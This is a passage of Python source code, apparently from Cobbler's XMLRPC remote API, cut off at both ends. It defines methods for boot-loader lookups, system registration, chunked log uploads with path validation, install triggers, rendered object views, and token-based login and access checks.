list): raise CX(f"profile not found: {profile}") elif system is not None and system != "": obj = self.api.find_system(system) if obj is None or isinstance(obj, list): raise CX(f"system not found: {system}") else: raise CX("internal error, no system or profile specified") data = utils.blender(self.api, True, obj) return self.xmlrpc_hacks(data) def get_settings(self, token: Optional[str] = None, **rest: Any) -> Dict[str, Any]: """ Return the contents of our settings file, which is a dict. :param token: The API-token obtained via the login() method. :param rest: Unused parameter. :return: Get the settings which are currently in Cobbler present. """ # self._log("get_settings", token=token) results = self.api.settings().to_dict() # self._log("my settings are: %s" % results, debug=True) return self.xmlrpc_hacks(results) # type: ignore def get_signatures( self, token: Optional[str] = None, **rest: Any ) -> Dict[Any, Any]: """ Return the contents of the API signatures :param token: The API-token obtained via the login() method. :param rest: This is dropped in this method since it is not needed here. :return: Get the content of the currently loaded signatures file. """ self._log("get_signatures", token=token) results = self.api.get_signatures() return self.xmlrpc_hacks(results) # type: ignore def get_valid_breeds(self, token: Optional[str] = None, **rest: Any) -> List[str]: """ Return the list of valid breeds as read in from the distro signatures data :param token: The API-token obtained via the login() method. :param rest: This is dropped in this method since it is not needed here. :return: All valid OS-Breeds which are present in Cobbler. """ self._log("get_valid_breeds", token=token) results = signatures.get_valid_breeds() results.sort() return self.xmlrpc_hacks(results) # type: ignore def get_valid_os_versions_for_breed( self, breed: str, token: Optional[str] = None, **rest: Any ) -> List[str]: """ Return the list of valid os_versions for the given breed :param breed: The OS-Breed which is requested. :param token: The API-token obtained via the login() method. :param rest: This is dropped in this method since it is not needed here. :return: All valid OS-versions for a certain breed. """ self._log("get_valid_os_versions_for_breed", token=token) results = signatures.get_valid_os_versions_for_breed(breed) results.sort() return self.xmlrpc_hacks(results) # type: ignore def get_valid_os_versions( self, token: Optional[str] = None, **rest: Any ) -> List[str]: """ Return the list of valid os_versions as read in from the distro signatures data :param token: The API-token obtained via the login() method. :param rest: This is dropped in this method since it is not needed here. :return: Get all valid OS-Versions """ self._log("get_valid_os_versions", token=token) results = signatures.get_valid_os_versions() results.sort() return self.xmlrpc_hacks(results) # type: ignore def get_valid_archs(self, token: Optional[str] = None) -> List[str]: """ Return the list of valid architectures as read in from the distro signatures data :param token: The API-token obtained via the login() method. :return: Get a list of all valid architectures. """ self._log("get_valid_archs", token=token) results = signatures.get_valid_archs() results.sort() return self.xmlrpc_hacks(results) # type: ignore def get_valid_distro_boot_loaders( self, distro_name: Optional[str], token: Optional[str] = None ): """ Return the list of valid boot loaders for the distro :param token: The API-token obtained via the login() method. :param distro_name: The name of the distro for which the boot loaders should be looked up. :return: Get a list of all valid boot loaders. """ self._log("get_valid_distro_boot_loaders", token=token) if distro_name is None: return utils.get_supported_system_boot_loaders() obj = self.api.find_distro(distro_name) if obj is None or isinstance(obj, list): return f"# object not found: {distro_name}" return self.api.get_valid_obj_boot_loaders(obj) def get_valid_image_boot_loaders( self, image_name: Optional[str], token: Optional[str] = None ): """ Return the list of valid boot loaders for the image :param token: The API-token obtained via the login() method. :param image_name: The name of the image for which the boot loaders should be looked up. :return: Get a list of all valid boot loaders. """ self._log("get_valid_image_boot_loaders", token=token) if image_name is None: return utils.get_supported_system_boot_loaders() obj = self.api.find_image(image_name) if obj is None: return f"# object not found: {image_name}" return self.api.get_valid_obj_boot_loaders(obj) # type: ignore def get_valid_profile_boot_loaders( self, profile_name: Optional[str], token: Optional[str] = None ): """ Return the list of valid boot loaders for the profile :param token: The API-token obtained via the login() method. :param profile_name: The name of the profile for which the boot loaders should be looked up. :return: Get a list of all valid boot loaders. """ self._log("get_valid_profile_boot_loaders", token=token) if profile_name is None: return utils.get_supported_system_boot_loaders() obj = self.api.find_profile(profile_name) if obj is None or isinstance(obj, list): return f"# object not found: {profile_name}" distro = obj.get_conceptual_parent() return self.api.get_valid_obj_boot_loaders(distro) # type: ignore def get_valid_system_boot_loaders( self, system_name: Optional[str], token: Optional[str] = None ) -> List[str]: """ Return the list of valid boot loaders for the system :param token: The API-token obtained via the login() method. :param system_name: The name of the system for which the boot loaders should be looked up. :return: Get a list of all valid boot loaders.get_valid_archs """ self._log("get_valid_system_boot_loaders", token=token) if system_name is None: return utils.get_supported_system_boot_loaders() obj = self.api.find_system(system_name) if obj is None or isinstance(obj, list): return [f"# object not found: {system_name}"] parent = obj.get_conceptual_parent() if parent and parent.COLLECTION_TYPE == "profile": # type: ignore[reportUnnecessaryComparison] return parent.boot_loaders # type: ignore return self.api.get_valid_obj_boot_loaders(parent) # type: ignore def get_repo_config_for_profile(self, profile_name: str, **rest: Any): """ Return the yum configuration a given profile should use to obtain all of it's Cobbler associated repos. :param profile_name: The name of the profile for which the repository config should be looked up. :param rest: This is dropped in this method since it is not needed here. :return: The repository configuration for the profile. """ obj = self.api.find_profile(profile_name) if obj is None or isinstance(obj, list): return f"# object not found: {profile_name}" return self.api.get_repo_config_for_profile(obj) def get_repo_config_for_system(self, system_name: str, **rest: Any): """ Return the yum configuration a given profile should use to obtain all of it's Cobbler associated repos. :param system_name: The name of the system for which the repository config should be looked up. :param rest: This is dropped in this method since it is not needed here. :return: The repository configuration for the system. """ obj = self.api.find_system(system_name) if obj is None or isinstance(obj, list): return f"# object not found: {system_name}" return self.api.get_repo_config_for_system(obj) def get_template_file_for_profile(self, profile_name: str, path: str, **rest: Any): """ Return the templated file requested for this profile :param profile_name: The name of the profile to get the template file for. :param path: The path to the template which is requested. :param rest: This is dropped in this method since it is not needed here. :return: The template file as a str representation. """ obj = self.api.find_profile(profile_name) if obj is None or isinstance(obj, list): return f"# object not found: {profile_name}" return self.api.get_template_file_for_profile(obj, path) def get_template_file_for_system(self, system_name: str, path: str, **rest: Any): """ Return the templated file requested for this system :param system_name: The name of the system to get the template file for. :param path: The path to the template which is requested. :param rest: This is dropped in this method since it is not needed here. :return: The template file as a str representation. """ obj = self.api.find_system(system_name) if obj is None or isinstance(obj, list): return f"# object not found: {system_name}" return self.api.get_template_file_for_system(obj, path) def register_new_system( self, info: Dict[str, Any], token: Optional[str] = None, **rest: Any ) -> int: """ If register_new_installs is enabled in settings, this allows /usr/bin/cobbler-register (part of the koan package) to add new system records remotely if they don't already exist. There is a cobbler_register snippet that helps with doing this automatically for new installs but it can also be used for existing installs. See "AutoRegistration" on the Wiki. :param info: The system information which is provided by the system. :param token: The API-token obtained via the login() method. :param rest: This is dropped in this method since it is not needed here. :return: Return 0 if everything succeeded. """ if not self.api.settings().register_new_installs: raise CX("registration is disabled in cobbler settings") # validate input name = info.get("name", "") profile = info.get("profile", "") hostname = info.get("hostname", "") interfaces = info.get("interfaces", {}) ilen = len(list(interfaces.keys())) if name == "": raise CX("no system name submitted") if profile == "": raise CX("profile not submitted") if ilen == 0: raise CX("no interfaces submitted") if ilen >= 64: raise CX("too many interfaces submitted") # validate things first name = info.get("name", "") inames = list(interfaces.keys()) if self.api.find_system(name=name): raise CX("system name conflicts") if hostname != "" and self.api.find_system(hostname=hostname): raise CX("hostname conflicts") for iname in inames: mac = info["interfaces"][iname].get("mac_address", "") ip_address = info["interfaces"][iname].get("ip_address", "") if ip_address.find("/") != -1: raise CX("no CIDR ips are allowed") if mac == "": raise CX(f"missing MAC address for interface {iname}") if mac != "": system = self.api.find_system(mac_address=mac) if system is not None: raise CX(f"mac conflict: {mac}") if ip_address != "": system = self.api.find_system(ip_address=ip_address) if system is not None: raise CX(f"ip conflict: {ip_address}") # looks like we can go ahead and create a system now obj = self.api.new_system() obj.profile = profile obj.name = name if hostname != "": obj.hostname = hostname obj.netboot_enabled = False for iname in inames: if info["interfaces"][iname].get("bridge", "") == 1: # don't add bridges continue mac = info["interfaces"][iname].get("mac_address", "") ip_address = info["interfaces"][iname].get("ip_address", "") netmask = info["interfaces"][iname].get("netmask", "") if mac == "?": # see koan/utils.py for explanation of network info discovery continue obj.interfaces = { iname: { "mac_address": mac, "ip_address": ip_address, "netmask": netmask, } } if hostname != "": obj.hostname = hostname if ip_address not in ("", "?"): obj.interfaces[iname].ip_address = ip_address if netmask not in ("", "?"): obj.interfaces[iname].netmask = netmask self.api.add_system(obj) return 0 def disable_netboot( self, name: str, token: Optional[str] = None, **rest: Any ) -> bool: """ This is a feature used by the ``pxe_just_once`` support, see manpage. Sets system named "name" to no-longer PXE. Disabled by default as this requires public API access and is technically a read-write operation. :param name: The name of the system to disable netboot for. :param token: The API-token obtained via the login() method. :param rest: This parameter is unused. :return: A boolean indicated the success of the action. """ self._log("disable_netboot", token=token, name=name) # used by nopxe.cgi if not self.api.settings().pxe_just_once: # feature disabled! return False # triggers should be enabled when calling nopxe triggers_enabled = self.api.settings().nopxe_with_triggers obj = self.api.systems().find(name=name) if obj is None: # system not found! return False if isinstance(obj, list): # Duplicate entries found - can't be but mypy requires this check return False obj.netboot_enabled = False # disabling triggers and sync to make this extremely fast. self.api.systems().add( obj, save=True, with_triggers=triggers_enabled, with_sync=False, quick_pxe_update=True, ) # re-generate dhcp configuration self.api.sync_dhcp() return True def upload_log_data( self, sys_name: str, file: str, size: int, offset: int, data: "xmlrpc.client.Binary", token: Optional[str] = None, ) -> bool: """ This is a logger function used by the "anamon" logging system to upload all sorts of misc data from Anaconda. As it's a bit of a potential log-flooder, it's off by default and needs to be enabled in our settings. :param sys_name: The name of the system for which to upload log data. :param file: The file where the log data should be put. :param size: The size of the data which will be received. :param offset: The offset in the file where the data will be written to. :param data: The data that should be logged. :param token: The API-token obtained via the login() method. :return: True if everything succeeded. """ if not self.api.settings().anamon_enabled: # Feature disabled! return False if not self.__validate_log_data_params( sys_name, file, size, offset, data.data, token ): return False self._log( f"upload_log_data (file: '{file}', size: {size}, offset: {offset})", token=token, name=sys_name, ) # Find matching system or profile record obj = self.api.find_system(name=sys_name) if obj is None or isinstance(obj, list): obj = self.api.find_profile(name=sys_name) if obj is None or isinstance(obj, list): # system or profile not found! self._log( "upload_log_data - WARNING - system or profile not found in Cobbler", token=token, name=sys_name, ) return False return self.__upload_file(obj.name, file, size, offset, data.data) def __validate_log_data_params( self, sys_name: str, logfile_name: str, size: int, offset: int, data: bytes, token: Optional[str] = None, ) -> bool: # Validate all types if not ( isinstance(sys_name, str) # type: ignore and isinstance(logfile_name, str) # type: ignore and isinstance(size, int) # type: ignore and isinstance(offset, int) # type: ignore and isinstance(data, bytes) # type: ignore ): self.logger.warning( "upload_log_data - One of the parameters handed over had an invalid type!" ) return False if token is not None and not isinstance(token, str): # type: ignore self.logger.warning( "upload_log_data - token was given but had an invalid type." ) return False # Validate sys_name with item regex if not re.fullmatch(base_item.RE_OBJECT_NAME, sys_name): self.logger.warning( "upload_log_data - The provided sys_name contained invalid characters!" ) return False # Validate logfile_name - this uses the script name validation, possibly we need our own for this one later if not validate_autoinstall_script_name(logfile_name): self.logger.warning( "upload_log_data - The provided file contained invalid characters!" ) return False return True def __upload_file( self, sys_name: str, logfile_name: str, size: int, offset: int, data: bytes ) -> bool: """ Files can be uploaded in chunks, if so the size describes the chunk rather than the whole file. The offset indicates where the chunk belongs the special offset -1 is used to indicate the final chunk. :param sys_name: the name of the system :param logfile_name: the name of the file :param size: size of contents (bytes) :param offset: the offset of the chunk :param data: base64 encoded file contents :return: True if the action succeeded. """ if offset != -1: if size != len(data): return False # FIXME: Get the base directory from Cobbler app-settings anamon_base_directory = "/var/log/cobbler/anamon" anamon_sys_directory = os.path.join(anamon_base_directory, sys_name) file_name = os.path.join(anamon_sys_directory, logfile_name) normalized_path = os.path.normpath(file_name) if not normalized_path.startswith(anamon_sys_directory): self.logger.warning( "upload_log_data: built path for the logfile was outside of the Cobbler-Anamon log " "directory!" ) return False if not os.path.isdir(anamon_sys_directory): os.mkdir(anamon_sys_directory, 0o755) try: file_stats = os.lstat(file_name) except OSError as error: if error.errno == errno.ENOENT: pass else: raise else: if not stat.S_ISREG(file_stats.st_mode): raise CX(f"destination not a file: {file_name}") # TODO: See if we can simplify this at a later point uploaded_file_fd = os.open( file_name, os.O_RDWR | os.O_CREAT | os.O_CLOEXEC, 0o644 ) # log_error("fd=%r" %fd) try: if offset == 0 or (offset == -1 and size == len(data)): # truncate file fcntl.lockf(uploaded_file_fd, fcntl.LOCK_EX | fcntl.LOCK_NB) try: os.ftruncate(uploaded_file_fd, 0) # log_error("truncating fd %r to 0" %fd) finally: fcntl.lockf(uploaded_file_fd, fcntl.LOCK_UN) if offset == -1: os.lseek(uploaded_file_fd, 0, 2) else: os.lseek(uploaded_file_fd, offset, 0) # write contents fcntl.lockf( uploaded_file_fd, fcntl.LOCK_EX | fcntl.LOCK_NB, len(data), 0, 2 ) try: os.write(uploaded_file_fd, data) # log_error("wrote contents") finally: fcntl.lockf(uploaded_file_fd, fcntl.LOCK_UN, len(data), 0, 2) if offset == -1: # truncate file fcntl.lockf(uploaded_file_fd, fcntl.LOCK_EX | fcntl.LOCK_NB) try: os.ftruncate(uploaded_file_fd, size) # log_error("truncating fd %r to size %r" % (fd,size)) finally: fcntl.lockf(uploaded_file_fd, fcntl.LOCK_UN) finally: os.close(uploaded_file_fd) return True def run_install_triggers( self, mode: str, objtype: str, name: str, ip: str, token: Optional[str] = None, **rest: Any, ): """ This is a feature used to run the pre/post install triggers. See CobblerTriggers on Wiki for details :param mode: The mode of the triggers. May be "pre", "post" or "firstboot". :param objtype: The type of object. This should correspond to the collection type. :param name: The name of the object. :param ip: The ip of the objet. :param token: The API-token obtained via the login() method. :param rest: This is dropped in this method since it is not needed here. :return: True if everything worked correctly. """ self._log("run_install_triggers", token=token) if mode not in ("pre", "post", "firstboot"): return False if objtype not in ("system", "profile"): return False # The trigger script is called with name,mac, and ip as arguments 1,2, and 3 we do not do API lookups here # because they are rather expensive at install time if reinstalling all of a cluster all at once. # We can do that at "cobbler check" time. utils.run_triggers( self.api, None, f"/var/lib/cobbler/triggers/install/{mode}/*", additional=[objtype, name, ip], ) return True def version(self, token: Optional[str] = None, **rest: Any): """ Return the Cobbler version for compatibility testing with remote applications. See api.py for documentation. :param token: The API-token obtained via the login() method. :param rest: This is dropped in this method since it is not needed here. :return: The short version of Cobbler. """ self._log("version", token=token) return self.api.version() def extended_version( self, token: Optional[str] = None, **rest: Any ) -> Dict[str, Union[str, List[str]]]: """ Returns the full dictionary of version information. See api.py for documentation. :param token: The API-token obtained via the login() method. :param rest: This is dropped in this method since it is not needed here. :return: The extended version of Cobbler """ self._log("version", token=token) return self.api.version(extended=True) # type: ignore def get_distros_since( self, mtime: float ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ Return all of the distro objects that have been modified after mtime. :param mtime: The time after which all items should be included. Everything before this will be excluded. :return: The list of items which were modified after ``mtime``. """ data = self.api.get_distros_since(mtime, collapse=True) return self.xmlrpc_hacks(data) def get_profiles_since( self, mtime: float ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ See documentation for get_distros_since :param mtime: The time after which all items should be included. Everything before this will be excluded. :return: The list of items which were modified after ``mtime``. """ data = self.api.get_profiles_since(mtime, collapse=True) return self.xmlrpc_hacks(data) def get_systems_since( self, mtime: float ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ See documentation for get_distros_since :param mtime: The time after which all items should be included. Everything before this will be excluded. :return: The list of items which were modified after ``mtime``. """ data = self.api.get_systems_since(mtime, collapse=True) return self.xmlrpc_hacks(data) def get_repos_since( self, mtime: float ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ See documentation for get_distros_since :param mtime: The time after which all items should be included. Everything before this will be excluded. :return: The list of items which were modified after ``mtime``. """ data = self.api.get_repos_since(mtime, collapse=True) return self.xmlrpc_hacks(data) def get_images_since( self, mtime: float ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ See documentation for get_distros_since :param mtime: The time after which all items should be included. Everything before this will be excluded. :return: The list of items which were modified after ``mtime``. """ data = self.api.get_images_since(mtime, collapse=True) return self.xmlrpc_hacks(data) def get_menus_since( self, mtime: float ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ See documentation for get_distros_since :param mtime: The time after which all items should be included. Everything before this will be excluded. :return: The list of items which were modified after ``mtime``. """ data = self.api.get_menus_since(mtime, collapse=True) return self.xmlrpc_hacks(data) def get_repos_compatible_with_profile( self, profile: str, token: Optional[str] = None, **rest: Any ) -> List[Dict[Any, Any]]: """ Get repos that can be used with a given profile name. :param profile: The profile to check for compatibility. :param token: The API-token obtained via the login() method. :param rest: This is dropped in this method since it is not needed here. :return: The list of compatible repositories. """ self._log("get_repos_compatible_with_profile", token=token) profile_obj = self.api.find_profile(profile) if profile_obj is None or isinstance(profile_obj, list): self.logger.info( 'The profile name supplied ("%s") for get_repos_compatible_with_profile was not' "existing", profile, ) return [] results: List[Dict[Any, Any]] = [] distro: Optional["Distro"] = profile_obj.get_conceptual_parent() # type: ignore if distro is None: raise ValueError("Distro not found!") for current_repo in self.api.repos(): # There be dragons! # Accept all repos that are src/noarch but otherwise filter what repos are compatible with the profile based # on the arch of the distro. # FIXME: Use the enum directly if current_repo.arch.value in [ "", "noarch", "src", ]: results.append(current_repo.to_dict()) else: # some backwards compatibility fuzz # repo.arch is mostly a text field # distro.arch is i386/x86_64 if current_repo.arch.value in ["i386", "x86", "i686"]: if distro.arch.value in ["i386", "x86"]: results.append(current_repo.to_dict()) elif current_repo.arch.value in ["x86_64"]: if distro.arch.value in ["x86_64"]: results.append(current_repo.to_dict()) else: if distro.arch.value == current_repo.arch.value: results.append(current_repo.to_dict()) return results def find_system_by_dns_name(self, dns_name: str) -> Dict[str, Any]: """ This is used by the puppet external nodes feature. :param dns_name: The dns name of the system. This should be the fqdn and not only the hostname. :return: All system information or an empty dict. """ # FIXME: expose generic finds for other methods # WARNING: this function is /not/ expected to stay in Cobbler long term system = self.api.find_system(dns_name=dns_name) if system is None or isinstance(system, list): return {} return self.get_system_as_rendered(system.name) # type: ignore def get_distro_as_rendered( self, name: str, token: Optional[str] = None, **rest: Any ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ Get distribution after passing through Cobbler's inheritance engine. :param name: distro name :param token: authentication token :param rest: This is dropped in this method since it is not needed here. :return: Get a template rendered as a distribution. """ self._log("get_distro_as_rendered", name=name, token=token) obj = self.api.find_distro(name=name) if obj is not None and not isinstance(obj, list): return self.xmlrpc_hacks(utils.blender(self.api, True, obj)) return self.xmlrpc_hacks({}) def get_profile_as_rendered( self, name: str, token: Optional[str] = None, **rest: Any ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ Get profile after passing through Cobbler's inheritance engine. :param name: profile name :param token: authentication token :param rest: This is dropped in this method since it is not needed here. :return: Get a template rendered as a profile. """ self._log("get_profile_as_rendered", name=name, token=token) obj = self.api.find_profile(name=name) if obj is not None and not isinstance(obj, list): return self.xmlrpc_hacks(utils.blender(self.api, True, obj)) return self.xmlrpc_hacks({}) def get_system_as_rendered( self, name: str, token: Optional[str] = None, **rest: Any ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ Get profile after passing through Cobbler's inheritance engine. :param name: system name :param token: authentication token :param rest: This is dropped in this method since it is not needed here. :return: Get a template rendered as a system. """ self._log("get_system_as_rendered", name=name, token=token) obj = self.api.find_system(name=name) if obj is not None and not isinstance(obj, list): _dict = utils.blender(self.api, True, obj) # Generate a pxelinux.cfg? image_based = False profile: Optional[Union["Profile", "Image"]] = obj.get_conceptual_parent() # type: ignore if profile is None: raise ValueError("Profile not found!") distro: Optional["Distro"] = profile.get_conceptual_parent() # type: ignore arch = None if distro is None and profile.COLLECTION_TYPE == "image": image_based = True arch = profile.arch else: arch = distro.arch # type: ignore if obj.is_management_supported(): if not image_based: _dict["pxelinux.cfg"] = self.tftpgen.write_pxe_file( None, obj, profile, distro, arch # type: ignore ) else: _dict["pxelinux.cfg"] = self.tftpgen.write_pxe_file( None, obj, None, None, arch, image=profile # type: ignore ) return self.xmlrpc_hacks(_dict) return self.xmlrpc_hacks({}) def get_repo_as_rendered( self, name: str, token: Optional[str] = None, **rest: Any ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ Get repository after passing through Cobbler's inheritance engine. :param name: repository name :param token: authentication token :param rest: This is dropped in this method since it is not needed here. :return: Get a template rendered as a repository. """ self._log("get_repo_as_rendered", name=name, token=token) obj = self.api.find_repo(name=name) if obj is not None and not isinstance(obj, list): return self.xmlrpc_hacks(utils.blender(self.api, True, obj)) return self.xmlrpc_hacks({}) def get_image_as_rendered( self, name: str, token: Optional[str] = None, **rest: Any ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ Get repository after passing through Cobbler's inheritance engine. :param name: image name :param token: authentication token :param rest: This is dropped in this method since it is not needed here. :return: Get a template rendered as an image. """ self._log("get_image_as_rendered", name=name, token=token) obj = self.api.find_image(name=name) if obj is not None and not isinstance(obj, list): return self.xmlrpc_hacks(utils.blender(self.api, True, obj)) return self.xmlrpc_hacks({}) def get_menu_as_rendered( self, name: str, token: Optional[str] = None, **rest: Any ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ Get menu after passing through Cobbler's inheritance engine :param name: Menu name :param token: Authentication token :param rest: This is dropped in this method since it is not needed here. :return: Get a template rendered as a file. """ self._log("get_menu_as_rendered", name=name, token=token) obj = self.api.find_menu(name=name) if obj is not None and not isinstance(obj, list): return self.xmlrpc_hacks(utils.blender(self.api, True, obj)) return self.xmlrpc_hacks({}) def get_random_mac( self, virt_type: str = "kvm", token: Optional[str] = None, **rest: Any ) -> str: """ Wrapper for ``utils.get_random_mac()``. Used in the webui. :param virt_type: The type of the virtual machine. :param token: The API-token obtained via the login() method. Auth token to authenticate against the api. :param rest: This is dropped in this method since it is not needed here. :return: The random mac address which shall be used somewhere else. """ # ToDo: Remove rest param self._log("get_random_mac", token=None) return utils.get_random_mac(self.api, virt_type) def xmlrpc_hacks( self, data: Optional[Union[List[Any], Dict[Any, Any], int, str, float]] ) -> Union[List[Any], Dict[Any, Any], int, str, float]: """ Convert None in XMLRPC to just '~' to make extra sure a client that can't allow_none can deal with this. ALSO: a weird hack ensuring that when dicts with integer keys (or other types) are transmitted with string keys. :param data: The data to prepare for the XMLRPC response. :return: The converted data. """ return utils.strip_none(data) def get_status( self, mode: str = "normal", token: Optional[str] = None, **rest: Any ) -> Union[Dict[Any, Any], str]: """ Returns the same information as `cobbler status` While a read-only operation, this requires a token because it's potentially a fair amount of I/O :param mode: How the status should be presented. :param token: The API-token obtained via the login() method. Auth token to authenticate against the api. :param rest: This parameter is currently unused for this method. :return: The human or machine readable status of the status of Cobbler. """ self.check_access(token, "sync") return self.api.status(mode=mode) def __get_random(self, length: int) -> str: """ Get a random string of a desired length. :param length: The length of the :return: A random string of the desired length from ``/dev/urandom``. """ b64 = base64.b64encode(os.urandom(length)) return b64.decode() def __make_token(self, user: str) -> str: """ Returns a new random token. :param user: The user for which the token should be generated. :return: The token which was generated. """ b64 = self.__get_random(25) self.token_cache[b64] = (time.time(), user) return b64 @staticmethod def __is_token(token: Optional[str]) -> bool: """ Simple check to validate if it is a token. __make_token() uses 25 as the length of bytes that means we need to padding bytes to have a 34 character str. Because base64 specifies that the number of padding bytes are shown via equal characters, we have a 36 character long str in the end in every case. :param token: The str which should be checked. :return: True in case the validation succeeds, otherwise False. """ return isinstance(token, str) and len(token) == 36 def __invalidate_expired_tokens(self) -> None: """ Deletes any login tokens that might have expired. Also removes expired events. """ timenow = time.time() for token in list(self.token_cache.keys()): (tokentime, _) = self.token_cache[token] if timenow > tokentime + self.api.settings().auth_token_expiration: self._log("expiring token", token=token, debug=True) del self.token_cache[token] # and also expired objects for oid in list(self.unsaved_items.keys()): (tokentime, _) = self.unsaved_items[oid] if timenow > tokentime + CACHE_TIMEOUT: del self.unsaved_items[oid] for tid in list(self.events.keys()): event = self.events[tid] if timenow > event.statetime + float(EVENT_TIMEOUT): del self.events[tid] # logfile cleanup should be dealt w/ by logrotate def __validate_user(self, input_user: str, input_password: str) -> bool: """ Returns whether this user/pass combo should be given access to the Cobbler read-write API. For the system user, this answer is always "yes", but it is only valid for the socket interface. :param input_user: The user to validate. :param input_password: The password to validate. :return: If the authentication was successful ``True`` is returned. ``False`` in all other cases. """ return self.api.authenticate(input_user, input_password) def __validate_token(self, token: Optional[str]) -> bool: """ Checks to see if an API method can be called when the given token is passed in. Updates the timestamp of the token automatically to prevent the need to repeatedly call login(). Any method that needs access control should call this before doing anything else. :param token: The token to validate. :return: True if access is allowed, otherwise False. """ self.__invalidate_expired_tokens() if token in self.token_cache: user = self.get_user_from_token(token) if user == "<system>": # system token is only valid over Unix socket return False self.token_cache[token] = (time.time(), user) # update to prevent timeout return True self._log("invalid token", token=token) return False def __name_to_object(self, resource: str, name: str) -> Optional["ITEM"]: # type: ignore result: Optional["ITEM"] = None if resource.find("distro") != -1: result = self.api.find_distro(name, return_list=False) # type: ignore if resource.find("profile") != -1: result = self.api.find_profile(name, return_list=False) # type: ignore if resource.find("system") != -1: result = self.api.find_system(name, return_list=False) # type: ignore if resource.find("repo") != -1: result = self.api.find_repo(name, return_list=False) # type: ignore if resource.find("menu") != -1: result = self.api.find_menu(name, return_list=False) # type: ignore if isinstance(result, list): raise ValueError("Search is not allowed to return list!") return result def check_access_no_fail( self, token: str, resource: str, arg1: Optional[str] = None, arg2: Any = None ) -> int: """ This is called by the WUI to decide whether an element is editable or not. It differs form check_access in that it is supposed to /not/ log the access checks (TBA) and does not raise exceptions. :param token: The token to check access for. :param resource: The resource for which access shall be checked. :param arg1: Arguments to hand to the authorization provider. :param arg2: Arguments to hand to the authorization provider. :return: 1 if the object is editable or 0 otherwise. """ need_remap = False for item_type in [ "distro", "profile", "system", "repo", "image", "menu", ]: if arg1 is not None and resource.find(item_type) != -1: need_remap = True break if need_remap: # we're called with an object name, but need an object arg1 = self.__name_to_object(resource, arg1) # type: ignore try: self.check_access(token, resource, arg1, arg2) return 1 except Exception: utils.log_exc() return 0 def check_access( self, token: Optional[str], resource: str, arg1: Optional[str] = None, arg2: Any = None, ) -> int: """ Check if the token which was provided has access. :param token: The token to check access for. :param resource: The resource for which access shall be checked. :param arg1: Arguments to hand to the authorization provider. :param arg2: Arguments to hand to the authorization provider. :return: If the operation was successful return ``1``. If unsuccessful then return ``0``. Other codes may be returned if specified by the currently configured authorization module. """ user = self.get_user_from_token(token) if user == "<DIRECT>": self._log("CLI Authorized", debug=True) return 1 return_code = self.api.authorize(user, resource, arg1, arg2) self._log(f"{user} authorization result: {return_code}", debug=True) if not return_code: raise CX(f"authorization failure for user {user}") return return_code def get_authn_module_name(self, token: str) -> str: """ Get the name of the currently used authentication module. :param token: The API-token obtained via the login() method. Cobbler token, obtained form login() :return: The name of the module. """ user = self.get_user_from_token(token) if user != "<DIRECT>": raise CX( f"authorization failure for user {user} attempting to access authn module name" ) return self.api.get_module_name_from_file("authentication", "module") def login(self, login_user: str, login_password: str) -> str: """ Takes a username and password, validates it, and if successful returns a random login token which must be used on subsequent method calls. The token will time out after a set interval if not used. Re-logging in permitted. :param login_user: The username which is used to authenticate at Cobbler. :param login_password: The password which is used to authenticate at Cobbler. :return: The token which can be used further on. """ # if shared secret access is requested, don't bother hitting the auth plugin if login_user == "": if login_password == self.shared_secret: return self.__make_token("<DIRECT>") raise ValueError("login failed due to missing username!") # This should not log to disk OR make events as we're going to call it like crazy in CobblerWeb. Just failed # attempts. if self.__validate_user(login_user, login_password): token = self.__make_token(login_user) return token raise ValueError(f"login failed ({login_user})") def logout(self, token: str) -> bool: """ Retires a token ahead of the timeout. :param token: The API-token obtained via the login() method. Cobbler token, obtained form login() :return: if operation was successful or not """ self._log("logout", token=token) if token in self.token_cache: del self.token_cache[token] return True return False def token_check(self, token: str) -> bool: """ Checks to make sure a token is valid or not. :param token: The API-token obtained via the login() method. Cobbler token, obtained form login() :return: if operation was successful or not """ return self.__validate_token(token) def sync_dhcp(self, token: str) -> bool: """ Run sync code, which should complete before XMLRPC timeout. We can't do reposync this way. Would be nice to send output over AJAX/other later. :param token: The API-token obtained via the login() method. Cobbler token, obtained form login() :return: bool if operation was successful """ self._log("sync_dhcp", token=token) self.check_access(token, "sync") self.api.sync_dhcp() return True def sync(self, token: str) -> bool: """ Run sync code, which should complete before XMLRPC timeout. We can't do reposync this way. Would be nice to send output over AJAX/other later. :param token: The API-token obtained via the login() method. Cobbler token, obtained form login() :return: bool if operation was successful """ # FIXME: performance self._log("sync", token=token) self.check_access(token, "sync") self.api.sync() return True def read_autoinstall_template(self, file_path: str, token: str) -> str: """ Read an automatic OS installation template file :param file_path: automatic OS installation template file path :param token: The API-token obtained via the login() method. Cobbler token, obtained form login() :returns: file content """ what = "read_autoinstall_template" self._log(what, name=file_path, token=token) self.check_access(token, what, file_path, True) return self.autoinstall_mgr.read_autoinstall_template(file_path) def write_autoinstall_template(self, file_path: str, data: str, token: str) -> bool: """ Write an automatic OS installation template file :param file_path: automatic OS installation template file path :param data: new file content :param token: The API-token obtained via the login() method. Cobbler token, obtained form login() :returns: bool if operation was successful """ what = "write_autoinstall_template" self._log(what, name=file_path, token=token) self.check_access(token, what, file_path, True) self.autoinstall_mgr.write_autoinstall_template(file_path, data) return True def remove_autoinstall_template(self, file_path: str, token: str) -> bool: """ Remove an automatic OS installation template file :param file_path: automatic OS installation template file path :param token: The API-token obtained via the login() method. Cobbler token, obtained form login() :returns: bool if operation was successful """ what = "write_autoinstall_template" self._log(what, name=file_path, token=token) self.check_access(token, what, file_path, True) self.autoinstall_mgr.remove_autoinstall_template(file_path) return True def read_autoinstall_snippet(self, file_path: str, token: str) -> str: """ Read an automatic OS installation snippet file :param file_path: automatic OS installation snippet file path :param token: The API-token obtained via the login() method. Cobbler token, obtained form login() :returns: file content """ what = "read_autoinstall_snippet" self._log(what, name=file_path, token=token) self.check_access(token, what, file_path, True) return self.autoinstall_mgr.read_autoinstall_snippet(file_path) def write_autoinstall_snippet(self, file_path: str, data: str, token: str) -> bool: """ Write an automatic OS 